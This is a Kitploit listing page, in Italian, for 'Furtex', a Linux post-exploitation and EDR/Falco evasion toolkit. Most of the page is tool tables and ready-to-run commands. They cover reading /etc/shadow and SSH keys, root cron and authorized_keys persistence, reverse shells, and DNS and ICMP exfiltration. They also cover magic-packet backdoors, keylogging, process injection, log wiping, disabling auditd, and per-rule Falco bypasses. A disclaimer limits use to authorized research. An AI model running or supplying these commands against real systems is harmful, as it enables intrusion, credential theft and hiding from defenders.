Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Furtex — Toolkit di ricerca per post-exploitation ed evasione per Linux. | Kitploit
Strumenti/GitHubGitHub/matheuzsecurity/furtex
Escalation di PrivilegiExploitPost-ExploitAnalisi MalwarePenetration TestingCommand and ControlAnalisi di BinariRed TeamingSviluppo Payload
GitHubmatheuzsecurity/furtex

Furtex

Toolkit di ricerca per post-exploitation ed evasione per Linux.

2613029 giorni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository

Furtex

Toolkit di ricerca post-exploitation ed evasion per Linux, costruito attorno a io_uring ed eBPF. Niente liburing, niente framework, syscall raw ovunque.

Presto altri strumenti. Le PR sono benvenute. 🇧🇷

Unisciti a Rootkit Researchers

  • https://discord.gg/66N5ZQppU7

Solo per ricerca autorizzata e engagement red team. Non eseguirlo su sistemi che non possiedi.

``` Furtex/ ├── io_uring/ raw io_uring ops: file, net, injection, exfil (13 tools) ├── bpf/ BPF map and program tooling (15 tools) ├── ebpf/ BPF-side programs and loaders (9 programs + 2 runners) ├── edrs/ EDR evasion and post-exploitation (75 tools) └── techniques/ Falco-specific bypass, all 25 default rules (13 tools)

root@kitploit:~
## Requisiti

**Toolchain**

| tool | necessario per |
|---|---|
| `gcc` | tutti i binari userspace |
| `clang` | programmi BPF `ebpf/*.bpf.c` |
| `make` | sistema di build |

**Header e librerie**

| pacchetto | necessario per |
|---|---|
| `linux-headers-$(uname -r)` | `<linux/bpf.h>`, `<linux/io_uring.h>` e relativi header del kernel |
| `libbpf-dev` | `<bpf/bpf_helpers.h>` e affini usati nei programmi in `ebpf/` |
| `bpftool` | generare `vmlinux.h` tramite `make vmlinux` dentro `ebpf/` |

Su Debian/Kali/Ubuntu:```sh
sudo apt install gcc clang make linux-headers-$(uname -r) libbpf-dev bpftool

Versioni del kernel

Capabilities

BTF deve essere abilitato nel kernel (CONFIG_DEBUG_INFO_BTF=y) per eseguire make vmlinux per i programmi ebpf/.

Su distribuzioni con header libc-dev più vecchi (Ubuntu 22.04 ecc.) potresti aver bisogno di #ifndef IORING_OP_SOCKET / #define IORING_OP_SOCKET 45. Già gestito in questo repo.

Build

edrs/ ha il proprio sotto-Makefile con circa 75 binari suddivisi per privilegio:``` cd edrs && make priv # root / CAP_* required cd edrs && make unpriv # no privileges needed

root@kitploit:~
Vedi [PRIVILEGES.md](https://github.com/matheuzsecurity/furtex/blob/HEAD/PRIVILEGES.md) per la ripartizione completa.

## Copertura del bypass di io_uring

Gli SQE di io_uring passano attraverso la workqueue del kernel. `io_uring_enter(2)` non chiama mai tramite `sys_call_table`, non attiva mai i tracepoint `sys_enter_*` e non colpisce mai livepatch su `native_sys_call`. Da solo, elimina un'ampia classe di hook EDR senza toccare nulla.

Cosa bypassa io_uring da solo:

| hook point | nota |
|---|---|
| sostituzione del puntatore `sys_call_table` | io_uring non passa mai attraverso la tabella delle syscall |
| livepatch su `native_sys_call` / `compat_sys_call` | stessa ragione |
| tracepoint `sys_enter_*` | percorso workqueue, nessun tracepoint si attiva |

Cosa io_uring NON bypassa da solo (richiede uno strumento attivo):

| hook point | strumento | cosa fa lo strumento |
|---|---|---|
| kprobe su `vfs_read`, `security_file_open`, ecc. | `ftrace_enum` | rimuove gli hook kprobe |
| BPF LSM / KRSI | `bpf_link_detach` | stacca il link BPF |
| Linux audit | `audit_kill` | disabilita auditd tramite NETLINK_AUDIT |
| patch LD_PRELOAD / PLT-GOT | `plt_unhook` | rimuove gli hook in userland |
| netfilter OUTPUT / conntrack | `af_packet_shell` | usa AF_PACKET a livello 2, salta netfilter |
| hook su `inet_stream_connect` | `udp_shell` | usa UDP, non chiama mai il percorso di connessione tcp |

## io_uring/

`iouring_utils.h` gestisce la configurazione del ring senza liburing.

| binario | cosa fa |
|---|---|
| `file_read` | catena OPENAT+READ+CLOSE tramite io_uring, nessun evento sys_enter_read |
| `file_write` | catena OPENAT+WRITE+CLOSE |
| `file_append` | come file_write ma con O_APPEND, offset -1 |
| `net_connect` | SOCKET+CONNECT+SEND+RECV in un unico ring |
| `net_reverse_shell` | reverse shell tramite CONNECT di io_uring |
| `multifile_read` | fino a 64 file in un unico batch SQE |
| `memfd_exec` | stream ELF tramite stdin in memfd, execve tramite /proc/self/fd |
| `proc_inject` | iniezione JIT tramite /proc/PID/mem; iniezione ptrace (flag --ptrace) |
| `pipe_splice` | SPLICE da kernel a kernel, gli hook in userland non vedono mai i byte |
| `inotify_bypass_watch` | la READ di io_uring non genera IN_ACCESS/IN_OPEN |
| `dns_exfil` | codifica i dati in esadecimale come etichette di query DNS tramite io_uring SENDMSG |
| `af_packet_send` | Ethernet raw tramite AF_PACKET (IORING_OP_SOCKET, bypassa il percorso inet) |
| `xdp_socket_send` | frame raw tramite AF_XDP + ring UMEM, bypassa completamente netfilter |```bash
./io_uring/file_read /etc/shadow
./io_uring/file_write /etc/cron.d/x "* * * * * root /tmp/sh"
./io_uring/file_append /root/.ssh/authorized_keys "ssh-ed25519 AAAA..."
./io_uring/net_connect 10.0.0.1 4444 "ping"
./io_uring/net_reverse_shell 192.168.1.1 4444
./io_uring/multifile_read /etc/passwd /etc/shadow /root/.ssh/id_rsa ~/.aws/credentials
cat payload | ./io_uring/memfd_exec [args...]
./io_uring/pipe_splice /etc/shadow /tmp/out
./io_uring/inotify_bypass_watch /var/log/auth.log
./io_uring/dns_exfil 1.2.3.4 exfil.example.com /etc/shadow

sudo ./io_uring/proc_inject
sudo ./io_uring/proc_inject <pid>
sudo ./io_uring/proc_inject          <pid> <shellcode_hex>
sudo ./io_uring/proc_inject --ptrace <pid> <shellcode_hex>

sudo ./io_uring/af_packet_send eth0 08:00:27:aa:bb:cc ff:ff:ff:ff:ff:ff "payload"
sudo ./io_uring/xdp_socket_send eth0 <hex-frame>

bpf/

La maggior parte degli strumenti richiede CAP_BPF. env_exfil funziona senza privilegi. icmp_trigger richiede CAP_NET_RAW invece di CAP_BPF.

sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/file_read /etc/shadow sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/net_reverse_shell 10.0.0.1 4444

root@kitploit:~
## ebpf/

Richiede clang + libbpf + vmlinux.h. Esegui `make vmlinux` dentro `ebpf/` per generare dal BTF del kernel in esecuzione.

| file | cosa fa |
|---|---|
| `exec.bpf.c` | tracepoint su sys_enter_execve |
| `fentry_open.bpf.c` | tracepoint su sys_enter_openat |
| `creds.bpf.c` | traccia openat+read sui percorsi delle credenziali |
| `keylog.bpf.c` | tracepoint degli eventi di input, cattura raw del keycode |
| `net.bpf.c` | logging di sys_enter_connect |
| `net_hide.bpf.c` | nasconde le porte da /proc/net/tcp e /proc/net/udp |
| `proc_hide.bpf.c` | nasconde i PID dall'output di getdents64 |
| `tty_sniff.bpf.c` | cattura scritture e letture su stdin/stdout/stderr |
| `skf_c2_runner.c` | C2 ICMP tramite filtro socket BPF classico |
| `xdp_backdoor.bpf.c` + `xdp_handler.c` | trigger XDP su pacchetto UDP magico |```bash
sudo ./bpf/map_write <hidden_ports_id> 5c11 01
sudo ./bpf/map_write <hidden_pids_id> d2040000 01

sudo ./ebpf/skf_c2_runner
ping -p 4d41474900$(printf 'id' | xxd -p | tr -d '\n') -c1 <target>

sudo ./ebpf/xdp_handler <trigger_map_id> <handler_pid_map_id>
echo -n 'MAGICid' | nc -u -q1 <target> 31337

edrs/

sudo ./edrs/bpf_prog_recon --all sudo ./edrs/ftrace_enum list sudo ./edrs/module_recon list sudo ./edrs/perf_bpf_kill scan sudo ./edrs/sysctl_blind show sudo ./edrs/tetragon_blind scan

sudo ./edrs/audit_kill disable sudo ./edrs/dmesg_wipe wipe sudo ./edrs/bpf_detach_all sudo ./edrs/ftrace_enum clear-kprobes sudo ./edrs/netfilter_flush sudo ./edrs/lkm_unload unload

./edrs/livepatch_bypass --read /etc/shadow ./edrs/uring_stealth cat /etc/shadow ./edrs/mmap_read /etc/shadow ./edrs/splice_read /etc/shadow ./edrs/plt_unhook read /etc/shadow ./edrs/openat2_bypass copy /etc/shadow /tmp/out

cat payload | ./edrs/memfd_userexec [args...] cat payload | ./edrs/fanotify_bypass --memfd-exec ./edrs/anon_shellcode <shellcode_hex> ./edrs/fexecve_drop - < payload

sudo ./edrs/proc_mem_inject --inject <shellcode_hex> ./edrs/proc_vm_inject <shellcode_hex> ./edrs/ptrace_inject_so inject /tmp/payload.so

./edrs/userland_persist --lhost 10.0.0.1 --lport 4444 ./edrs/userland_persist --sshkey "ssh-ed25519 AAAA..." sudo ./edrs/livepatch_bypass --persist 192.168.1.1 4444

./edrs/shared_mem_c2 --agent & ./edrs/shared_mem_c2 --ctrl --cmd "id" ./edrs/abstract_sock_c2 server & ./edrs/abstract_sock_c2 client ./edrs/udp_shell 192.168.1.1 4444 ./edrs/tls_shell 192.168.1.1 443

./edrs/dns_exfil_raw str exfil.example.com "data" ./edrs/pipe_exfil --send /etc/shadow 192.168.1.1 9999 cat data | sudo ./edrs/icmp_tunnel 192.168.1.1 - SSH_AUTH_SOCK=/run/user/1000/ssh-agent.sock ./edrs/ssh_agent_hijack

./edrs/self_delete delete ./edrs/time_stomp clone /etc/passwd /tmp/target sudo ./edrs/log_wipe hist /home/kali

./edrs/event_flood 500 4 -- ./edrs/proc_mem_inject --inject ./edrs/ringbuf_flood --flood --threads 8 --sec 5

./edrs/ns_exec user bash ./edrs/ns_exec full-hide bash ./edrs/clone_netns exec /bin/sh

./edrs/pidfd_steal scan ./edrs/pidfd_steal steal ./edrs/fd_steal_read <path_filter> ./edrs/fd_steal_read <path_filter>

root@kitploit:~
## techniques/ (bypass di Falco)

Prende di mira il ruleset predefinito di Falco (driver `modern_ebpf`, 25 regole). Esegui prima `edrs/edr_recon`.

Asse di bypass A: impedisci all'evento di raggiungere Falco (io_uring salta `sys_enter_*`, lo svuotamento del ringbuf elimina silenziosamente gli eventi).
Asse di bypass B: l'evento raggiunge Falco ma la condizione della regola non corrisponde (spoof di proc.name, path pivot, flag alternativi).

| tool | asse | regole Falco |
|---|:---:|---|
| `uring_ops` | A | 1 2 3 7 9 10 12 13 14 15 18 21 |
| `ringbuf_overflow` | A | tutte |
| `rule_evade` | B | 3 5 6 17 |
| `kmod_unload` | A | tutte |
| `proc_ghost` | A/B | 22 23 25 |
| `exe_from_memfd_bypass` | B | 25 |
| `event_storm` | A | tutte |
| `proc_masquerade` | B | 3 4 5 8 17 |
| `ns_pivot` | B | 6 14 |
| `cgroup_escape` | A | 18 |
| `bypass_file_rules` | B | 1 2 3 9 10 11 12 13 21 |
| `bypass_proc_rules` | B | 4 6 8 15 17 18 19 20 22 23 24 |
| `per_rule_bypass` | A/B | tutte e 25 |```bash
./techniques/uring_ops cat   /etc/shadow
./techniques/uring_ops creds
./techniques/uring_ops write /etc/cron.d/x "* * * * * root /tmp/sh"
./techniques/uring_ops shell 10.0.0.1 4444
./techniques/uring_ops chain /etc/shadow 10.0.0.1 9999

sudo ./techniques/ringbuf_overflow find
sudo ./techniques/ringbuf_overflow drain  <map_id>
./techniques/ringbuf_overflow  flood  16 10

./techniques/rule_evade name-spoof
./techniques/rule_evade path-pivot
./techniques/rule_evade all

sudo ./techniques/kmod_unload list
sudo ./techniques/kmod_unload unload

./techniques/proc_ghost ghost-elf /bin/ls
./techniques/proc_ghost ghost-sc  <hex>

./techniques/exe_from_memfd_bypass info
./techniques/exe_from_memfd_bypass sc   <hex>
./techniques/exe_from_memfd_bypass shm-exec <elf>
./techniques/exe_from_memfd_bypass dlopen  <so>

./techniques/event_storm mixed-storm 16 10
./techniques/event_storm snipe "cat /etc/shadow"

./techniques/proc_masquerade setname    sshd <cmd...>
./techniques/proc_masquerade fakeparent sshd <cmd...>
./techniques/proc_masquerade clone-parent sshd <cmd...>

./techniques/ns_pivot net-new
./techniques/ns_pivot userns-shell

./techniques/cgroup_escape check
./techniques/cgroup_escape proof
./techniques/cgroup_escape shell 10.0.0.1 4444

./techniques/bypass_file_rules read-masked /etc/shadow
./techniques/bypass_file_rules log-clear /var/log/auth.log
./techniques/bypass_file_rules grep-bypass /home "PRIVATE"

./techniques/bypass_proc_rules reverse-shell 10.0.0.1 4444
./techniques/bypass_proc_rules anti-debug
./techniques/bypass_proc_rules proc-inject <pid> <addr> <hex>

./techniques/per_rule_bypass list
./techniques/per_rule_bypass sensitive-read /etc/shadow
./techniques/per_rule_bypass exec-proc /tmp/elf
./techniques/per_rule_bypass clear-log /var/log/auth.log

Contribuire

Apri una PR. Strumenti monouso, syscall grezze, nessuna nuova dipendenza.

Note legali

Questo progetto è destinato esclusivamente alla ricerca sulla sicurezza, a test di penetrazione autorizzati, a competizioni CTF e allo sviluppo di strumenti difensivi. Tutte le tecniche qui dimostrate sono documentate nella ricerca pubblica sulla sicurezza e nella documentazione del kernel.

Non utilizzare questo toolkit su sistemi di cui non sei proprietario o per i quali non hai un'autorizzazione scritta esplicita a eseguire test. L'uso non autorizzato può violare il Computer Fraud and Abuse Act (CFAA), la direttiva UE sugli attacchi ai sistemi informativi e leggi equivalenti nella tua giurisdizione.

Gli autori non si assumono alcuna responsabilità per un uso improprio. Utilizzando questo software accetti di essere l'unico responsabile della conformità alle leggi applicabili.

Scarica lo strumento
minimacosa sblocca
5.4base di io_uring (IORING_FEAT_SINGLE_MMAP, iterazione delle mappe BPF)
5.6IORING_OP_OPENAT, IORING_OP_STATX, pidfd_getfd (pidfd_steal)
5.8split CAP_BPF + CAP_PERFMON (sostituisce CAP_SYS_ADMIN per BPF)
5.9BPF_LINK_DETACH (bpf_link_detach)
5.19IORING_OP_SOCKET (af_packet_send, dns_exfil, xdp_socket_send, bpf_kprobe_bypass)
capabilitystrumenti che la richiedono
CAP_BPF (o CAP_SYS_ADMIN pre-5.8)tutti i tool bpf/, i loader ebpf/
CAP_PERFMONi programmi tracepoint e kprobe di ebpf/
CAP_NET_RAWicmp_tunnel, af_packet_shell, skf_c2_runner, icmp_trigger
CAP_NET_ADMINxdp_socket_send, netfilter_flush
CAP_AUDIT_CONTROLaudit_kill
comandocompila
make alltutto
make uringsolo io_uring/
make bpftool userspace di bpf/
make ebpfprogrammi lato BPF (richiede clang + libbpf)
make edrstutti i binari di edrs/
make techniquestool di bypass Falco
make cleanrimuove tutti i binari
binarioche cosa fa
map_reconelenca tutte le mappe BPF caricate
map_dumperesegue il dump dei contenuti della mappa per ID
map_writeaggiorna le voci della mappa per ID
map_poisonazzera le voci interesting_sys di Falco attorno a un payload
prog_reconelenca i programmi BPF: tipo, nome, numero di mappe
pid_allowlistinserisce un PID in una mappa allowlist dell'EDR
edr_finvaluta le mappe/programmi BPF caricati in base a euristiche EDR note
lsm_checkrileva gli hook LSM BPF attivi e verifica se le scritture sulle mappe sono bloccate
bpf_persistfissa/recupera/rimuove mappe e programmi su bpffs
map_snapshotsalva e ripristina i contenuti delle mappe in un file binario
env_exfillegge /proc/*/environ per cercare segreti
bpf_link_detachelenca e scollega i link BPF (rimuove gli hook LSM)
link_updatereindirizza un link BPF a un programma no-op (l'hook rimane visibile, non attiva nulla)
map_freezecongela una mappa BPF in sola lettura tramite BPF_MAP_FREEZE (le scritture restituiscono -EPERM)
icmp_triggerbackdoor ICMP magic-packet; avvia una reverse shell tramite relay socketpair; si maschera da kworker/u4:2
sudo ./bpf/map_recon
sudo ./bpf/map_dumper 42 --ascii
sudo ./bpf/map_write <map_id> <key_hex> <val_hex>
sudo ./bpf/prog_recon --maps --lsm-only
sudo ./bpf/edr_fin
sudo ./bpf/lsm_check <map_id>
sudo ./bpf/pid_allowlist <map_id> [pid]
sudo ./bpf/bpf_persist pin-map 42 /sys/fs/bpf/my_map
sudo ./bpf/bpf_persist list /sys/fs/bpf
sudo ./bpf/map_snapshot save <prog_id> snap.bin
sudo ./bpf/map_snapshot restore snap.bin
./bpf/env_exfil --filter AWS
sudo ./bpf/bpf_link_detach list --lsm-only
sudo ./bpf/bpf_link_detach detach-lsm --dry-run
sudo ./bpf/link_update <link_id>
sudo ./bpf/map_freeze <map_id>
sudo ./bpf/map_freeze --prog <name_substr>
sudo ./bpf/icmp_trigger --daemon
sudo ./bpf/icmp_trigger --send <c2_ip> <c2_port>
binarioroottecnica
edr_reconsìrilevatore EDR di 12 vendor: processi, artefatti, moduli, BPF, kprobes
bpf_prog_reconsìenumera programmi BPF caricati, mappe e kprobes
bpf_map_wipesìcancella le voci delle mappe BPF
bpf_detach_allsìscollega tutti i link BPF
tetragon_blindsìscansiona, congela, scongela, uccidi o acceca i processi Tetragon/Falco
ftrace_enumsìenumera e rimuove gli hook kprobe/ftrace
lkm_unloadsìscarica i moduli del kernel
lkm_inline_detectsìrileva gli hook kernel inline
perf_bpf_killsìenumera e uccide i programmi BPF perf-event di Falco
module_reconsìenumera i moduli del kernel
cgroup_freezesìcongela/scongela il processo tramite cgroup v2
oom_cagesìimposta oom_score_adj per sé o per il target
sysctl_blindsìlegge/scrive sysctl rilevanti per la sicurezza
audit_killsìdisabilita/limita l'audit Linux tramite NETLINK_AUDIT
inotify_exhaustsìconsuma tutte le watch inotify
netfilter_flushsìsvuota le catene netfilter
dmesg_wipesìpulisce il ring buffer del kernel
ld_so_preloadsìmanipola /etc/ld.so.preload
proc_hidesìnasconde /proc/PID tramite bind-mount
mount_oversìbind-mount su percorsi arbitrari
log_wipesìtronca i file di log e la cronologia della shell
elf_infectsìiniezione di parassita da PT_NOTE a PT_LOAD
proc_mem_injectsìpwrite su /proc/PID/mem, senza attach ptrace
af_packet_shellsìC2 Ethernet raw che bypassa netfilter OUTPUT
icmp_tunnelsìesfiltrazione tramite payload ICMP echo-request
event_floodsìflood di eventi attorno al payload per saturare il monitor
livepatch_bypasssìio_uring oltre gli hook livepatch sul dispatcher di syscall
livepatch_stack_blindsìdisabilita lo stack di hook livepatch + BPF kprobe + netfilter; scaricamento moduli tramite spoofing di comm
lsm_authlink_blindsìdisabilita i flussi LSM auth-link, congela o uccidi l'agente di autenticazione, scrivi tramite inode swap
lsm_callback_bypasssìbypassa i callback LSM tramite pidfd_getfd, process_vm_writev, attach perf+BPF, nuova netns
bpf_fim_blindsìcongela il sensore BPF FIM, cancella le voci della mappa ring-buffer, inonda il ringbuf
syscall_dispatch_bypasssìoperazioni file/net io_uring che bypassano le kprobes sul dispatch delle syscall e livepatch do_syscall_64
bpf_kprobe_bypasssìoperazioni file/net/exec io_uring che bypassano i target kprobe _x64_sys*
ptrace_inject_sosìcarica .so in un processo attivo tramite ptrace + dlopen
uring_stealthnooperazioni file/net tramite io_uring, nessun evento sys_enter_*
openat2_bypassnosyscall alternative (openat2, copy_file_range)
ptrace_selfguardnoblocca il ptrace esterno tramite processo guardiano
plt_unhooknorileva e bypassa gli hook PLT-GOT tramite dlmopen
fexecve_dropnoELF in memfd, execve tramite /proc/self/fd
memfd_loadernocarica .so tramite memfd, costruttore invocato
memfd_userexecnoELF da stdin in memfd, execve tramite /proc/self/fd
hollow_procnoprocess hollowing con nome esca in ps
argv_spoofnorinomina comm tramite prctl(PR_SET_NAME) e sovrascrittura di argv[0]
clone_netnsnoexec in net namespace non privilegiato
ns_execnounshare di user/pid/mount namespace
splice_c2noC2 TCP che usa splice(2) per il trasferimento dati; gli hook send/recv non scattano mai
abstract_sock_c2noC2 su socket Unix astratto
udp_shellnoreverse shell UDP, bypassa inet_stream_connect
tls_shellnoreverse shell dietro un falso ClientHello TLS
dns_exfil_rawnodati codificati in hex come label di query DNS
pidfd_stealnoruba fd aperti da altri processi tramite pidfd_getfd
vma_hidenociclo RWX a PROT_NONE, MADV_DONTDUMP, rinomina VMA
coredump_blocknoblocca i core dump tramite filter/dumpable/rlimit
seccomp_notifynointercetta le syscall tramite SECCOMP_USER_NOTIF
ipc_covertnoC2 su POSIX mqueue
shared_mem_c2noC2 su POSIX shm, nessun traffico di rete
pipe_exfilnoesfiltrazione tramite splice(2), hook LD_PRELOAD accecati
proc_fd_scannoscansiona i symlink /proc/PID/fd per percorsi sensibili
proc_vm_injectnoprocess_vm_writev, nessun /proc/PID/fd aperto
self_deletenoelimina il proprio binario dal disco mentre è in esecuzione
time_stompnoclone/zero/set di atime+mtime
userland_persistnobashrc/crontab/autostart/authorized_keys
env_scrapenolegge /proc/*/environ per segreti e socket SSH
anon_shellcodenoshellcode in MAP_ANONYMOUS, nessun file, nessun execve
ld_preload_injectnorilascia .so, inietta tramite LD_PRELOAD
ssh_agent_hijacknoparla il protocollo agent al socket catturato
fanotify_bypassnomemfd/anon-mmap/devshm per evitare i mark fanotify
ringbuf_floodnosatura il ringbuf BPF per far cadere eventi
log_evasionnooperazioni file io_uring e shell TCP a syscall raw, nessun wrapper libc
syscalltable_bypassnoio_uring oltre gli hook del puntatore sys_call_table
uring_recon_unprivnocredenziali, chiavi, connessioni tramite lettura io_uring
fd_steal_readnoruba fd tramite pidfd_getfd, legge senza una propria open()
mmap_readnolegge file tramite mmap, nessuna syscall read()
scm_rights_exfilnopassa fd tramite SCM_RIGHTS, legge senza una propria open()
splice_readnolegge tramite splice(2), nessun buffer in userspace
sudo ./edrs/edr_recon
sudo ./edrs/edr_recon procs arts mods
sudo ./edrs/edr_recon progs maps
RegolaElusioneStrumento
1 Lettura di file monitorata tramite directory traversalio_uring OPENATuring_ops cat, per_rule_bypass dir-traversal
3 Lettura di file sensibili non attendibileio_uring or prctluring_ops creds, bypass_file_rules read-masked
4 Esecuzione di shell non attendibilepython3/perl instead of shrule_evade unusual-shell
6 Shell terminale nel containersetsid, proc.tty=0bypass_proc_rules shell-notty
7 Contattare il server API K8Sio_uring CONNECTuring_ops shell, per_rule_bypass k8s-connect
8 RCE NetcatC binary, proc.name != nc/ncatbypass_proc_rules reverse-shell
9 Ricerca di chiavi privateopen+read in C, no grep/findbypass_file_rules grep-bypass
10 Cancellazione attività di logftruncate without O_TRUNCbypass_file_rules log-clear
11 Rimozione dati in bloccowrite loop, no shred/mkfsbypass_file_rules wipe
15 Reindirizzare STDOUT/STDIN verso la retefcntl F_DUPFD instead of dup2bypass_proc_rules reverse-shell
18 Rilevamento fuga da release_agentio_uring OPENAT+WRITE to release_agentcgroup_escape proof/shell, uring_ops write
19 PTRACE collegato a un processo/proc/PID/mem or process_vm_writevbypass_proc_rules proc-inject
20 Tentativo anti-debug PTRACETracerPid check via /proc/self/statusbypass_proc_rules anti-debug
22 Esecuzione da /dev/shmexec from /run/user/uid/ insteadbypass_proc_rules run-safe
25 Esecuzione fileless tramite memfd_createshellcode via mmap, no execveexe_from_memfd_bypass sc, proc_ghost ghost-sc
tuttesvuotare ringbuf o rimuovere scap.koringbuf_overflow, kmod_unload